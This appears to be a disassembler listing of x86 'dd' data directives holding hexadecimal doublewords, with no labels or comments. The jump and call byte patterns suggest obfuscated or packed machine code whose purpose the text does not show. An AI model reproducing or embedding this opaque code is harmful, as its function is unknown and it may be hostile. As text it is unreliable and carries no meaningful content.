		dd 8B0F594Fh, 0Fh, 7E8h, 0A3692300h, 8F5385Ch, 60591EB2h
		dd 9E8h, 69CB2300h, 3714A43Bh, 8166DF73h, 5F7755D7h, 7E961h
		dd 0F94B0000h, 2D7EED53h, 66BB6671h, 128F0F66h,	0E9000000h
		dd 0Dh,	0FFB19B41h, 2A4A4C8Bh, 0D08E3F94h, 60C38B70h, 1BBB8ABEh
		dd 0D781661Ah, 0BE610029h, 5CC52E3Bh, 5890Fh, 15BA0000h
		dd 0E970EDA5h, 0Bh, 3C74251Ch, 629BBC07h, 0F0F2415h, 800FF8B7h
		dd 19h,	14E9h, 97CBB100h, 95915D4Dh, 5E4C3F62h,	2F9D03F2h
		dd 5B8DF5B7h, 5870F94h,	66000000h, 8572DF81h, 0BE9h, 95A77900h
		dd 0CD5292D8h, 96123D9Bh, 28B0Fh, 0EC8A0000h, 8E9F98Bh
		dd 0C6000000h, 0F29BF47h, 66E2133Fh, 0EE9C18Bh,	75000000h
		dd 24650D3Eh, 0AE4850DFh, 882DDFD7h, 3830F9Dh, 66000000h
		dd 0B960D08Bh, 1D6FE14Eh, 9E9h,	1B29C00h, 0B9B47874h, 0FC61E55Dh
		dd 0E9D88B66h, 0Bh, 5EBC9CEEh, 0BB5662A2h, 0FFCCA38h, 328Fh
		dd 13E800h, 641F0000h, 0F4555361h, 0D77AFCBFh, 0B7177C4Bh
		dd 9838096Dh, 13E887h, 9B2C0000h, 57E11EF2h, 0C80E45EAh
		dd 5C5D065Fh, 109415D2h, 0F58584Ch, 8166DBB7h, 53253AC6h
		dd 0AE8h, 7BC3300h, 0B9E1A83Ch,	0E9C31480h, 0Eh, 1A7B6F82h
		dd 99003DD1h, 0DEC3B78Dh, 5858850Dh, 7BCD8056h,	81D88B5Bh
		dd 94AEDAF1h, 0EE81663Dh, 880F3F22h, 13h, 0EE9h, 0D984F200h
		dd 0E723F0D2h, 0DDEC6EB4h, 66FBA50Bh, 0B57BC181h, 0AE8h
		dd 458F7800h, 92C40451h, 6612F3E6h, 5B754CB8h, 10E8h, 0DBBA3300h
		dd 5079B958h, 0DA49202h, 11C08B63h, 7E950h, 0EF990000h
		dd 4B9916B9h, 10E9586Eh, 74000000h, 0B43798Ah, 0E66E0E13h
		dd 720D4DC7h, 0BFDA2821h, 1A6A0159h, 30D98160h,	610D6A17h
		dd 8820Fh, 0F510000h, 81h, 81665F00h, 66CDEADEh, 0BE20D281h
		dd 10E951h, 0DB880000h,	0F35C0CF6h, 312BBDA0h, 0B646113Eh
		dd 6659655Ah, 0DA51EE81h, 14E9h, 2D914500h, 6C799DAh, 0E64D16F5h
		dd 0BACC11A4h, 0AAF24F9Eh, 80DB80BBh, 6820Fh, 0C6810000h
		dd 65A00507h, 60F8E2B7h, 38E0Fh, 0B70F0000h, 68E0FD9h
		dd 0F000000h, 85h, 8B606100h, 0F561F8FBh, 0BE860h, 83090000h
		dd 0F699CB73h, 6C7ECAA2h, 1AF78143h, 592FD7ECh,	14E9h
		dd 8A8500h, 0BEFAC4ACh,	52B4FB7Bh, 405C8B6Fh, 805ECB6h
		dd 0BE666152h, 0C4808E1Fh, 0EA80FC81h, 0F5E5712h, 387h
		dd 0F7BF0F00h, 0FE9h, 5A7BAF00h, 4A1F8468h, 0B79EF21Bh
		dd 5858C49Ah, 0FE9h, 885E6200h,	12084594h, 9E9F21B3h, 8D9B3D5Ah
		dd 0B6C7B70Fh, 0F78B663Ch, 51D7BF0Fh, 8ED18151h, 5903B93Dh
		dd 0F9B70F5Fh, 0CE9FCh,	0A91B0000h, 5AAA0B8Ch, 0A7A8D2A1h
		dd 9E9149Ah, 43000000h,	0F94E3F54h, 369C378h, 0C280D38Ah
		dd 3BC48038h, 12E9h, 0C5615E00h, 7144C325h, 80A7FEC9h
		dd 0F014CF32h, 66DEFB95h, 0F3F6F281h, 66F9C080h, 66EFADBBh
		dd 4ED0D181h, 0E8605E56h, 0Dh, 356E2F1Eh, 0EB061534h, 0B4B8035Fh
		dd 11E979h, 0EF930000h,	0ED1DA093h, 0C7D2298h, 3219B1EDh
		dd 5FF385CEh, 0BADDB160h, 5F5F9D1Bh, 0BE666161h, 66F9912Ah
		dd 5E8CE8Bh, 15000000h,	4865194Ah, 4C88BA66h, 16E7815Fh
		dd 661AF3C9h, 8B66F18Bh, 70D980C7h, 2836D981h, 0D6806E85h
		dd 0E89AB55Ah, 6, 0F15927D4h, 5FFCA3B6h, 0DD681FCh, 666C1C10h
		dd 19BBC28Bh, 0E943FB61h, 0Bh, 7CFC6952h, 0C0E93CD6h, 8064844Fh
		dd 0F180ADE7h, 5E805h, 9420000h, 806A8AE7h, 0E9590AD9h
		dd 13h,	9B0E9CCh, 0CDDE0305h, 95E9AB4Fh, 8C25A4AAh, 66D183C7h
		dd 66761ABAh, 0AEB2DE81h, 7AF18166h, 15DF8108h,	0BB06F382h
		dd 5F909BC3h, 58F0Fh, 0D9BB0000h, 0F169FB3h, 68Bh, 0FAE88100h
		dd 8B385964h, 7FC480D8h, 60C78060h, 61C0BF0Fh, 0D0D2D981h
		dd 9FB925BDh, 0E86FB3E0h, 13h, 0AC94416Bh, 0EC1ABC78h
		dd 0F2FA90E9h, 0A6E544A7h, 665CF0E5h, 0D734DF81h, 188C0F5Eh
		dd 0F000000h, 128Eh, 0DE900h, 29E60000h, 0FA1ABA90h, 0FF1CE034h
		dd 0FB1F70Ch, 8Bh, 0AE800h, 0AECC0000h,	0B16D2F33h, 4976EC99h
		dd 5EE5C680h, 3ED68157h, 5A7CE144h, 811EC380h, 2791E9C0h
		dd 0BE95Ah, 364D0000h, 25C1EB80h, 2B235447h, 11E9AFh, 5DC80000h
		dd 97CEF4BEh, 0AE9575D6h, 4D20C59Ah, 0E80043C0h, 6, 89DAFD86h
		dd 820F98B9h, 5, 0F2D18166h, 0BF605E32h, 647DE109h, 86F78166h
		dd 0EE96150h, 88000000h, 273B62F9h, 0C613A3C6h,	0CB5C8487h
		dd 0FB8B6610h, 0A23CC381h, 0EE90557h, 48000000h, 0E7D8F0A1h
		dd 0F2432A13h, 7B860776h, 0E18166E3h, 0C88BB761h, 81C8B70Fh
		dd 0AC79CFE7h, 6E857h, 5B830000h, 0DAEDEF2h, 58DA8B66h
		dd 358BF781h, 8B66697Dh, 0A8A6BAFBh, 850F6BACh,	15h, 10E9h
		dd 0DF1DCA00h, 3507BB53h, 475AC8A3h, 2026003h, 0D3B9665Ch
		dd 88EA805Ah, 0DA8BCA8Ah, 0E837F181h, 0FF94DE9h, 180h
		dd 880FF800h, 0Dh, 8E9h, 0DB4E7100h, 4CEBDD8Ch,	28B8662Ah
		dd 0ECB8522Fh, 5B406997h, 0E8FEB70Fh, 0Dh, 43C463B8h, 67F9F7E4h
		dd 6E19C58Dh, 830F50FFh, 0
		dd 0B70F5B58h, 0E7BF66F1h, 0CE9FCCDh, 73000000h, 3B27168Fh
		dd 3C35668Ah, 0E9162FF6h, 9, 273C141Bh,	0B600B4F1h, 2AC181ACh
		dd 0F955A9CBh, 75564FB9h, 0AD7801Fh, 8AF1B70Fh,	0B3BF66EBh
		dd 8E0FF9CDh, 4, 0D5C4BE66h, 0A1D28166h, 6674B095h, 66EF7CBEh
		dd 0E93FEFBFh, 14h, 0E1E94FDBh,	0F43F9A28h, 4E20F059h
		dd 0CF239854h, 6FE9D5DFh, 57EB81F8h, 6079EB74h,	0FE9h
		dd 13EF1300h, 0BB694B92h, 700EBDD5h, 26100E9Dh,	188D0Fh
		dd 13E90000h, 12000000h, 7DFB6239h, 0F06712Bh, 7C0C16D2h
		dd 561D4B46h, 6661274Ch, 4E6FC381h, 8AB81CB3h, 0BE4E82E9h
		dd 56EB81A8h, 7C46BA60h, 8D0F1CE9h, 2, 66615F51h, 0F9F8F18Bh
		dd 7866BB66h, 0CD8CBE66h, 8AC6B70Fh, 4820FC5h, 66000000h
		dd 667F4AB9h, 0B2785DB8h, 39B7FC88h, 0B57ABE66h, 33ACDA81h
		dd 81660271h, 80E8E1E3h, 0DB8190D3h, 44D61B05h,	38D0Fh
		dd 0BF0F0000h, 66D08BCEh, 604439B8h, 10E8h, 0FFBC400h
		dd 0A11C2271h, 9818057Ch, 71C22267h, 5E5F511Fh,	2830Fh
		dd 61600000h, 0E9606061h, 13h, 0A2FC473Dh, 0D71EB048h
		dd 0CD83E3CFh, 87022FA2h, 0B9B1D280h, 0E7C7271h, 58E0F61h
		dd 66000000h, 8B09DF81h, 0E9C78B61h, 6,	1C1A4C3Bh, 9E94EF9h
		dd 10000000h, 75F39FECh, 4038A100h, 5D880FCh, 38E18166h
		dd 0EE9D2h, 0C60D0000h,	0FB522869h, 0D9A5918Dh,	0CA01B051h
		dd 0BF33EA80h, 7E2ACC92h, 0B880F60h, 0E9000000h, 6, 2E607F77h
		dd 830F2C48h, 19h, 14E9h, 87590500h, 59310C61h,	0D0B4410Bh
		dd 0F2E1D366h, 3B2EE53Ch, 0F58061E3h, 11E9FDh, 0B1ED0000h
		dd 85CE3219h, 0FD8CFBF3h, 918B5298h, 816B7DBBh,	3B447ED0h
		dd 5104B549h, 32F4C981h, 0BF5F2E65h, 1CE18EF2h,	11850Fh
		dd 0CE90000h, 0ED000000h, 0CAD85D2Ah, 2973C91Ch, 661495BBh
		dd 0C981C78Bh, 7DEDBBF2h, 77C18166h, 535160F1h,	890F5958h
		dd 5, 69C38166h, 8B66611Dh, 0D8B70FCFh,	0F0EADF81h, 0FAB43FBEh
		dd 0CE9h, 472BBB00h, 677CBB0Ah,	5751F656h, 0B01DBE5Ah
		dd 8B605B6Bh, 0EB7BEF3h, 8B61705Eh, 13E8FAh, 10E30000h
		dd 14F28965h, 80DECCF5h, 0A1515883h, 5841E9Fh, 0CB816650h
		dd 0F59E370h, 38Eh, 1CF08000h, 0D38B6660h, 0A6DA8166h
		dd 665361A3h, 3866D681h, 13E95Eh, 6B8A0000h, 0B5876DFDh
		dd 7EC0B275h, 509AAB8Ah, 9BC1493Dh, 3FDC8031h, 11E996B5h
		dd 0CD000000h, 25C6D135h, 59637B06h, 0A7280485h, 0D0B651Ah
		dd 14E9DA8Bh, 0ED000000h, 0F36A82C2h, 491C4A56h, 90EC53A2h
		dd 0E527B007h, 0F34F1A7h, 0C8Fh, 81666000h, 0B93200E7h
		dd 2C4983A2h, 0EEEE8061h, 66FAB70Fh, 8160F88Bh,	0B8D7B5F2h
		dd 5E941h, 6B120000h, 61671BA5h, 0DE9C68Bh, 0E000000h
		dd 666E8EF5h, 0DED94891h, 9E585ACBh, 6F8F6DBBh,	8BCF8B46h
		dd 850F60F2h, 6, 800Fh,	80610000h, 0B76070CAh, 0BF0F6135h
		dd 0AED180D0h, 0FFFBF0Fh, 284h,	0E878B700h, 10h, 63D6ED1Bh
		dd 1F3AB5CAh, 921951E0h, 0D90E8429h, 0E85BD88Bh, 0Ch, 0D1365C61h
		dd 14A78241h, 0E7C3CE68h, 525AD2B0h, 0C88B5EFCh, 0FB8BD88Ah
		dd 0FE9F9h, 0B6CB0000h,	9BD1D015h, 3F5F7721h, 343FDAA3h
		dd 28A0F97h, 8A000000h,	0BFBA66D1h, 0D6BF0F05h,	14E9h
		dd 6D558200h, 0E40734AFh, 0B6FFC6BBh, 7AD03891h, 2AA18243h
		dd 0D7816639h, 810F233Ah, 6, 870Fh, 0E9FC0000h,	0Ah, 9B6A7AF1h
		dd 0A1835700h, 0B8660219h, 8B60A86Dh, 9E8C2h, 15C80000h
		dd 57B3C8F2h, 0E9F5D2FCh, 0Ah, 16544C3Dh, 318BB24Eh, 6159349Eh
		dd 262E7ABAh, 0BF0F510Dh, 816659C6h, 606FECC9h,	38E0Fh
		dd 0BF0F0000h, 816661D9h, 0FAD6AD2h, 0EA81CFBFh, 0B6B689h
		dd 0E08036BFh, 0E83FB243h, 0Fh,	0D1E6E05Eh, 0A998AAD1h
		dd 52F60973h, 0BB774429h, 31F4D82Eh, 13E95Fh, 49170000h
		dd 634505Bh, 0D8320B94h, 7A00C839h, 45114F13h, 9E9A3h
		dd 0E6010000h, 91559EE0h, 8B915EDDh, 8B0F51F8h,	19h, 13E8h
		dd 88514100h, 9B8F2EB1h, 5800F6F7h, 0FDBDAAE4h,	0A89C9A9Fh
		dd 0E9505B5Ah, 14h, 5F70E0B8h, 92707DFEh, 92347CFAh, 0DF91E776h
		dd 0D4693A27h, 860F605Bh, 1, 0E08061F5h, 0BE8F815h, 0A1000000h
		dd 7C00BAF6h, 68206FAh,	0E953955Ah, 12h, 0E46FE55Fh, 2BCC5063h
		dd 2468FAE6h, 0DB41C830h, 5B59E699h, 1A07B966h,	0F38BCA8Bh
		dd 2890Fh, 0C68B0000h, 8A0FC68Ah, 4, 6622BF66h,	11E8h
		dd 31EE1500h, 964EF26Bh, 9A03FE6h, 57994A95h, 850F8052h
		dd 2, 0E8585A51h, 5, 444681Ah, 0DE989h,	0D81B0000h, 5D1F0DA8h
		dd 0DCCB883Bh, 5B1D41B2h, 12E9h, 3E87600h, 5410ECD3h, 631970CAh
		dd 0E9E17837h, 81A526B3h, 60DC22C0h, 1D8F0F5Ah,	0F000000h
		dd 178Ah, 12E900h, 5E2D0000h, 2E2EAEA1h, 0C085DDAEh, 95EA474Bh
		dd 0A6F5162Dh, 0E8F18B66h, 9, 98551F55h, 0ADD2643Ah, 60F8600Fh
		dd 505A6161h, 5EF98B66h, 8E8D88Bh, 42000000h, 0FC79DD7Ah
		dd 603DEBECh, 61C28B66h, 11E95Ah, 0E34B0000h, 0FA67209Fh
		dd 0ACE45AFFh, 8B00BF28h, 0E80DEA6Fh, 0Fh, 3D7AA206h, 8459307Bh
		dd 0EFD5DDBEh, 0FD8A3C5h, 583h,	0EA85B900h, 60597B8Dh
		dd 59C3BB66h, 14E961h, 0EE420000h, 1171DC20h, 8C641CF7h
		dd 6B08D4F4h, 0A41BC4FBh, 0EE99D74h, 0D0000000h, 0F18DDB95h
		dd 6B867782h, 26214889h, 3ABF66CBh, 0DBB70F0Ch,	9E9C18Bh
		dd 5B000000h, 3EB516EDh, 0D68D7E4Dh, 66F7BF0Fh,	0F52FBAB9h
		dd 81E9BA66h, 8E9h, 0B2276700h,	0B7E72C2Ah, 12E8BDh, 64D70000h
		dd 70C4F2D9h, 90AF4933h, 4B567200h, 0EDE4E18Dh,	5870Fh
		dd 81660000h, 599666F7h, 0F63CF80h, 8Bh, 0F2816600h, 0EB8A6F89h
		dd 0BECB8B66h, 699D2B7Eh, 6651D68Bh, 0D374D981h, 0E95E515Fh
		dd 7, 3044D4D0h, 6059C328h, 0EF816651h,	605A2F56h, 10E8h
		dd 79B95800h, 0A4920250h, 0C08B630Dh, 422A5011h, 7E85F5Bh
		dd 57000000h, 0EC5CD7E5h, 6158334Bh, 11820F61h,	0E9000000h
		dd 0Ch,	72DB44DDh, 0C2B983AFh, 0EFA82AD6h, 13E9h, 4DD24400h
		dd 4E2CE3EAh, 98460BE8h, 0B89FAB55h, 5B739390h,	5A22BEBAh
		dd 95D88025h, 0BE9h, 0EED62E00h, 3AAF936Ch, 0AC54B2A1h
		dd 0EDB1D381h, 9E93D47h, 0BD000000h, 2BBEAAC7h,	44C267F8h
		dd 80CBB70Fh, 8166B8E3h, 0E8F1CCCBh, 5,	18E28784h, 38C0F3Fh
		dd 80000000h, 665B66CAh, 867ECB81h, 12E9h, 29351500h, 86C3DC5h
		dd 110C4133h, 293684h, 0FF534D5h, 32B8C8BFh, 0F33A8B7h
		dd 18Ah, 0CE9F800h, 51000000h, 5B211796h, 0A52882C8h, 0BBD8C67Ah
		dd 35F40C52h, 0F8CEB70Fh, 7E9h,	0DE7EAC00h, 6BB26E82h
		dd 51E647B8h, 0C080607Fh, 31E681BDh, 615D61BEh,	3850Fh
		dd 0C0800000h, 14E9F3h,	51BF0000h, 0E6E17FFEh, 5DA4A2C0h
		dd 2F299FA2h, 0BB6B4803h, 0D78B3DBFh, 8B66DA8Bh, 0BB6660DFh
		dd 0F60BD95h, 86h, 890F00h, 61000000h, 0AE8FC61h, 0C3000000h
		dd 0DF9CBF54h, 0EB4DAD58h, 0FB8B661Ch, 91B9665Ah, 0F69B686h
		dd 880h, 0CE815600h, 511439A6h,	0DFBF0F5Eh, 5E9h, 4A2A6800h
		dd 0CBB615B8h, 8166F5F5h, 0B2EA73DBh, 5E8520Dh,	2000000h
		dd 56A97512h, 800Fh, 5A580000h,	0BE9h, 41726D00h, 81500EDDh
		dd 0E61F90B4h, 8E9h, 189EED00h,	0F259960Bh, 8E0F44h, 0F000000h
		dd 0C81h, 6850F00h, 0F000000h, 83h, 95B86600h, 38B0F6Ch
		dd 80000000h, 0B70F9ECDh, 0FE9F8h, 81C90000h, 278837F3h
		dd 1C11540Dh, 0BFBED63Eh, 13E946h, 0C4B10000h, 0BB2CE69h
		dd 9722FA60h, 5E928C5Ah, 0CC7649B8h, 0ACBA6691h, 8810F5Ch
		dd 0F000000h, 281h, 60D08B00h, 66D8DB80h, 61A71CB9h, 7E206CBAh
		dd 0D8B70F1Dh, 8BDFB70Fh, 7B0F8D8h, 66CA8B66h, 0E89175BFh
		dd 11h,	61541D51h, 89073F63h, 0D79E92CCh, 6DDB354Fh, 39DF81A5h
		dd 5A58687Ch, 0AFC88166h, 0F71B549h, 489h, 0E0B86600h
		dd 0E8FE8B0Bh, 8, 0FAF7CF2Bh, 7A2BD0EFh, 11E9h,	6A2CFF00h
		dd 7712847Dh, 49D92D96h, 32F19DC5h, 805F0B56h, 0F18B1FCCh
		dd 0DDD48052h, 0BE95Bh,	0AD840000h, 8DF397C1h, 7B63FDF9h
		dd 5850FEEh, 0B8000000h, 43AE92E5h, 0E875B4F8h,	10h, 462BEC3Ch
		dd 1AA9E1B8h, 0CB4DD57h, 0FE015C1Ah, 0BE85FF9h,	73000000h
		dd 0DC81A85Ch, 32901180h, 7E92ABFh, 0D8000000h,	0C9469A69h
		dd 0E85E6FF5h, 7, 64631886h, 0F5DC4C25h, 1850F5Bh, 0F9000000h
		dd 0FC68B66h, 0E181F8BFh, 2B33A053h, 0BBCABF0Fh, 0EC8EFB9h
		dd 0BDF8E381h, 0EE8A48EBh, 0C86CC981h, 9B0306Ah, 0BEF98B66h
		dd 75D638C9h, 0FCA8B66h, 381h, 94C28000h, 665134B7h, 0E958D88Bh
		dd 0Ch,	115658E2h, 0CD32DEAEh, 0B5F1D6FBh, 0C181A1B2h
		dd 86643D2h, 0F78B66F8h, 258E0Fh, 0DE80000h, 0A000000h
		dd 54304086h, 4E82FE2Ah, 79A5F166h, 0DE9h, 4B13F600h, 931CD428h
		dd 5958FB5Fh, 0F58E61Ch, 89h, 7E900h, 76C0000h,	0A8844ECh
		dd 0C78160E6h, 38FEDDD8h, 2AF08166h, 8D0F6145h,	19h, 0AC08060h
		dd 0EE8h, 0CBFB1000h, 2FD59D81h, 247733Fh, 5ECB53AFh, 0CDBB6661h
		dd 8C0FFC63h, 9, 3810Fh, 0BF0F0000h, 19860FFBh,	0E8000000h
		dd 11h,	3E359826h, 1014AFCDh, 610F6BCCh, 404E5404h, 595E57A8h
		dd 61DA8B60h, 3890Fh, 8B660000h, 81F860F8h, 0B2FD7BD1h
		dd 0BE666133h, 9E959E2h, 40000000h, 2558671Eh, 43ED76B8h
		dd 6ECE8166h, 0EE887h, 1FCB0000h, 1C39444Bh, 2E6D9AC6h
		dd 590E0473h, 5ECB8B66h, 96CF8166h, 0ACBA6608h,	0D2815042h
		dd 334CE5D5h, 13E85259h, 0FC000000h, 0C50234Bh,	18A97FF6h
		dd 0DDF9AD2Ch, 7801CEF6h, 5E500ABBh, 12E95B5Ah,	17000000h
		dd 1679177Eh, 0C5957259h, 1E43B6D1h, 60245840h,	0DA8B661Dh
		dd 586CBF66h, 6E9h, 0D5941800h,	0BB4011D0h, 688EADEDh
		dd 0FDF8B66h, 11E8CBB7h, 76000000h, 0A4327FB9h,	51BA61ADh
		dd 3F50EC13h, 0B3F22E6Ah, 19870Fh, 13E80000h, 0D5000000h
		dd 4B87382h, 0CB6827BDh, 48FAC6FCh, 0D0B01AF8h,	5F5ED4A2h
		dd 683FB956h, 0E95F3C2Bh, 11h, 0F5F52F6Bh, 0F04414C3h
		dd 71325AE5h, 8B8321EFh, 0F38B66A0h, 0CE8F5F9h,	50000000h
		dd 0E5396F70h, 0FC842759h, 0E8C6C249h, 0Dh, 70894317h
		dd 0BF66644Eh, 813A0F7Eh, 0AECA817Eh, 5920240Bh, 6057F859h
		dd 14E8h, 0B27E3800h, 9BE7D0DBh, 4E3B2BEFh, 5EBEE73Dh
		dd 2443840Ch, 5F5758ADh, 0E2815E61h, 16BBD6C7h,	66DF8B66h
		dd 0FB4F7B8h, 1987h, 14E900h, 24700000h, 83D46D38h, 7429224Ch
		dd 0B8FE20C0h, 5989BA69h, 6660C033h, 0FF2F6BBh,	0F61F7BFh
		dd 387h, 1FF58000h, 0B37FF380h,	18D0FE3h, 0F5000000h, 80C6B70Fh
		dd 860FDDE7h, 2, 8B66D88Bh, 8840FFBh, 0F000000h, 28Eh
		dd 0BBF78A00h, 611F9A14h, 9E9h,	61D00500h, 260D3987h, 0D980F7AFh
		dd 0C18B5790h, 5890F59h, 0BE000000h, 2F5C62A5h,	0DE9h
		dd 0DE40F400h, 86993B2Ch, 0A0603195h, 10E93960h, 0FE000000h
		dd 0A8743141h, 9E427F89h, 0FFAF3E07h, 56D25539h, 0D4DA8166h
		dd 8B66587Ch, 0F8E0FFEh, 0E9000000h, 0Ah, 80F5A03Bh, 0A498BF70h
		dd 0B70F0793h, 48F0FD0h, 66000000h, 6097EABEh, 8E9h, 7EA56400h
		dd 51489995h, 0FA8B6631h, 6E961h, 0C3B0000h, 0B2BC50F3h
		dd 0DE9h, 45316000h, 0F569E03h,	193EE9A2h, 2ABA76F1h, 0B742AB06h
		dd 4890F05h, 66000000h,	66CFC5BAh, 0FF5B8BEh, 289h, 0FF88B00h
		dd 882h, 28E0F00h, 8A000000h, 0B1B966FAh, 0D981663Ch, 840F4509h
		dd 1Ah,	148A0Fh, 0FE90000h, 88000000h, 0D108EAD0h, 1E6884A3h
		dd 4DE5F59Fh, 0BB667433h, 8E0F616Fh, 3,	52D9BF0Fh, 9DC1815Fh
		dd 0E9796B63h, 8, 1F68BBA6h, 0B3BE820Eh, 1F82DB81h, 0BB661E18h
		dd 0E952392Bh, 0Bh, 543FBA4Fh, 33CB7D5Bh, 5BBFED3Ah, 0FF813B4h
		dd 683h, 800F00h, 0F000000h, 283h, 0FD58A00h, 98Ah, 3880F00h
		dd 0F000000h, 0B70FCEB7h, 0E8CA8AF2h, 0Dh, 0EECB6229h
		dd 5806F0CFh, 2B6AEAFAh, 81665BF4h, 609EFADFh, 0D9C28166h
		dd 0BE818h, 0F9660000h,	384B03A0h, 6E26CAFAh, 0FB8B668Eh
		dd 0E952615Fh, 12h, 4D3EB516h, 0C3D68D7Eh, 0CB777D2Fh
		dd 7DB32EADh, 805A66D3h, 0E2813BF0h, 2A51BD7Bh,	7E9h, 51707200h
		dd 300FD409h, 0CB8BC38Bh, 978DBA60h, 0CA804E17h, 8B666103h
		dd 0FC28BC1h, 1381h, 0BE85300h,	97000000h, 0D61584AEh
		dd 3943875Bh, 5B5F9051h, 0AE960h, 0BBB70000h, 0B57315ABh
		dd 0B6417D69h, 0F78B460h, 85h, 0F616100h, 48Ah,	98BF6600h
		dd 0B999BFE0h, 800F60B5h, 18h, 10E8h, 74186100h, 0F89A0361h
		dd 0D1BF7F5Ch, 80B0EA28h, 5EF38AA5h, 0BEDE8B66h, 896995Ah
		dd 0AE9h, 9E0E0300h, 0C4D39B7Bh, 661613B3h, 66E84ABFh
		dd 5B86EF81h, 0E8F8CD80h, 13h, 0C773BF51h, 0B0775C70h
		dd 2D798CB7h, 41340172h, 0E930148Fh, 10h, 1620A875h, 1177682h
		dd 2FF2F2E7h, 0E8788852h, 0FC28B5Fh, 0E980D8BFh, 0FBBF0FFCh
		dd 800FBDB1h, 5, 79F87BBEh, 7E908h, 0F99F0000h,	894B727Fh
		dd 0AD2EB968h, 8C0F4759h, 3, 0E9CE8B66h, 9, 471BC5D7h
		dd 6DD9893Ah, 0C3BF0FABh, 0D381C28Bh, 466293A2h, 8B50E7B1h
		dd 8B6659F9h, 12E9D3h, 4C6F0000h, 0D552CAEEh, 71CAB74Eh
		dd 95D56397h, 408D980Eh, 0B8DF8166h, 850F67h, 80000000h
		dd 80607ED9h, 0BF0F98E5h, 0B86661D9h, 12E9328Dh, 67000000h
		dd 0A20060D1h, 105EFA64h, 0A39068D6h, 0EA5501F5h, 7E960DBh
		dd 6F000000h, 847FBB2Bh, 54BB2194h, 616D6C5Ah, 6E1AACBFh
		dd 7F38100h, 6677D610h,	8B66F38Bh, 4A05B8F1h, 0F600028h
		dd 890FC9BFh, 1, 840F61F9h, 6, 27B9DB81h, 0E85124DDh, 0Dh
		dd 5746E0FEh, 6117D679h, 2F972DBCh, 880F61h, 5B000000h
		dd 0CF8B5059h, 0A7F68158h, 0E939D86Bh, 0Dh, 0A2335317h
		dd 9AD74365h, 1913ECE4h, 0EB81667Ch
		dd 81662751h, 0E8BAEAC9h, 13h, 1E35782Bh, 0B0A9C742h, 0D327FE49h
		dd 7E01DC50h, 8BD1C4D9h, 820F59C8h, 5, 33B808BAh, 58C0F05h
		dd 66000000h, 0AA80F181h, 5481B9F5h, 0B70F63EEh, 0C88B66C3h
		dd 0AE9h, 5B295300h, 1EDF32F0h,	60A7E244h, 1890Fh, 0B1F90000h
		dd 0BF0F61DDh, 0FF98BC6h, 483h,	0BFB86600h, 0BE930h, 0A24E0000h
		dd 80D3D7B2h, 487ADFAEh, 0C9BF0F78h, 0FE9F9h, 57360000h
		dd 593499E9h, 0AC1D99B0h, 6FB4F653h, 56C78B3Dh,	5ED3B70Fh
		dd 4890Fh, 0B9660000h, 0D7BB3FECh, 8B0F64CBh, 805152F7h
		dd 585F20CEh, 38E0Fh, 0B70F0000h, 0D68B66D2h, 0EE9h, 0C56DD00h
		dd 0D26CFF3Ch, 0ED9E28C5h, 0BED3E5DBh, 2A0B4EBh, 0DE9h
		dd 0F853CE00h, 0E896C8FFh, 6BD9DF23h, 0B660E11Ah, 6146B335h
		dd 8166F560h, 61AB96C2h, 7EE08166h, 60FA8BB7h, 0FE9h, 224B3D00h
		dd 0C139D3BEh, 679E226Bh, 3A0CD4D8h, 0BE6661F9h, 0CE95BDEh
		dd 2D000000h, 9A623E90h, 0F8638C01h, 6682716Fh,	8166D08Bh
		dd 0B246BDEBh, 80E78A43h, 8E0FB8D2h, 4,	9DEEB966h, 0FDFBF0Fh
		dd 10E8DBBFh, 4C000000h, 9856C18Ah, 0AF595D85h,	0B84CC1E0h
		dd 0E8D204B7h, 7, 79D4B3D7h, 0F82AF1A5h, 8B66585Ah, 0C38166D7h
		dd 80536A55h, 605A07C8h, 930AAABAh, 61D38B1Ch, 81D18B66h
		dd 0D74C87E0h, 13E934h,	0CBA30000h, 788FF5E9h, 3850AF89h
		dd 8A1C1D09h, 0AE6F4F31h, 8166508Ch, 59461ECBh,	0E984B4F8h
		dd 10h,	0B598A60Eh, 4FA1E100h, 52D855DFh, 9B31FECBh, 0FC3BF0Fh
		dd 1B84h, 13E86000h, 5D000000h,	25CA73D4h, 0C5C26E12h
		dd 285CF358h, 74245C4Fh, 6159591Dh, 800Fh, 850F0000h, 1
		dd 6FB966F8h, 9E97Ch, 0A2B10000h, 485A5BEBh, 0FBACFD8h
		dd 285h, 0B3FA8B00h, 3B6DBFFCh,	0D78B3C21h, 11E9h, 0E3748200h
		dd 9A1449D6h, 60347A83h, 6458804Dh, 60F976F8h, 0D2D18166h
		dd 0F78B6685h, 8B665761h, 0AE95FD1h, 0A5000000h, 4B028BB5h
		dd 7EED53F9h, 38F0F2Dh,	60000000h, 5E961F5h, 12000000h
		dd 4C089F7Bh, 0CBE7BB66h, 0B0F78B66h, 17BA66E0h, 0BA665715h
		dd 8A59E0C8h, 0A850FF9h, 0E9000000h, 5,	0A9C107C7h, 0FC9B0BAh
		dd 0E88h, 9E900h, 0F9A80000h, 2AD04842h, 6665A9C2h, 0CF7FC781h
		dd 0FE9h, 0E4AF1D00h, 13FDE9A3h, 3D33A4B8h, 170BD73Ah
		dd 13E960h, 6F510000h, 808ABD0h, 0C8E4465Fh, 0A6396C5h
		dd 0A7A45CCFh, 0D98166D6h, 8B61AFCEh, 0CDE981D6h, 0F041010h
		dd 280h, 0FC28B00h, 584h, 0E3D5BB00h, 880F7D20h, 5, 5A56FC60h
		dd 11E861h, 5EE50000h, 2EC5D069h, 0C1647F5Bh, 0C6E3A4E8h
		dd 0B207F957h, 0BF0F58F2h, 7E9F8h, 6A100000h, 3AB19CF9h
		dd 11E953h, 0EE010000h,	91FD8765h, 8F1B8D35h, 6EB0F8CEh
		dd 0BB4B1230h, 31C94210h, 0B966CA8Bh, 11E94B8Eh, 0EA000000h
		dd 0D061A3DCh, 4F34D70Dh, 0EF801AA8h, 36E26D06h, 0BB24D7B8h
		dd 8B66502Dh, 0E9605EF0h, 0Fh, 0FA9BB402h, 5E1AE6CBh, 3A252230h
		dd 57CAA36Fh, 880Fh, 615F0000h,	0C1BF0F51h, 59F8505Ah
		dd 2FDD37BFh, 8BE0815Fh, 0E908C89Bh, 0Bh, 0AD020DDDh, 1B6857FFh
		dd 660DA8D8h, 8B66D18Bh, 58B0FF3h, 66000000h, 3D7CCA81h
		dd 58C0Fh, 81660000h, 6036C5E8h, 0D1B0CB8Bh, 0C18B6661h
		dd 81F9CF8Bh, 81DBEACEh, 0DE94Bh, 98070000h, 44239F5Ch
		dd 0F8367551h, 0BB8B19C8h, 470967A7h, 0BFCED181h, 0F603ABAh
